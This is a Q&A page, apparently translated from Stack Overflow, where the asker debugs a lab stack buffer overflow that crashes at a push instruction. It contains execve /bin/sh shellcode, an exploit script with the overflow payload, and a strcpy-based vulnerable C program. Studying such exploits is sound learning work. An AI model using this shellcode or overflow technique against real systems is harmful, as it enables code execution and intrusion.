为什么我的shellcode在push指令时崩溃?

时间:2019-06-05 09:58:10

标签: linux assembly stack buffer-overflow shellcode

我正在尝试在Ubuntu 19.04上执行基于堆栈的基本缓冲区溢出。

当前已禁用以下溢出对策:

  • ASLR(/ proc / sys / kernel / randomize_va_space = 0)
  • NX(使用-z execstack编译的源)
  • 金丝雀(使用-fno-stack-protector编译的源代码)

基本溢出正常,在 ret 之后,rip跳到shellcode并执行第一条指令。但是,一旦执行了推送指令,程序就会崩溃(Segfault)。我是否缺少一些积极的对策,或者我的代码存在根本缺陷?

我已经使用GDB分析了崩溃。但是,当易受攻击的程序崩溃时,GDB也会崩溃。

职位代码(exp.py):

ret_addr = 0x7fffffffde90 - 0x100
scode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"

buf = scode  # Shelloce
buf += "\x41" * 242 # Padding
buf += conv(ret_addr) # Return Adress = Start address of buffer

print buf

vulnerable.c:

#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
        char buf[256];
        strcpy(buf,argv[1]);
        printf("Message: %s\n",buf);
        return 0;
}

进入脆弱性后的GDB分析。c:

0x7fffffffdd90  xor    esi,esi    <- rip
0x7fffffffdd92  push   rsi   
0x7fffffffdd93  movabs rbx,0x68732f2f6e69622f    
0x7fffffffdd9d  push   rbx   
0x7fffffffdd9e  push   rsp   
0x7fffffffdd9f  pop    rdi   
0x7fffffffdda0  imul   esi   
0x7fffffffdda2  mov    al,0x3b   
0x7fffffffdda4  syscall   

因此,指令流已成功重定向到shellcode。但是,在下一条指令(push rsi)上,程序会出现段错误(gdb:[5] +已停止)。

0 个答案:

没有答案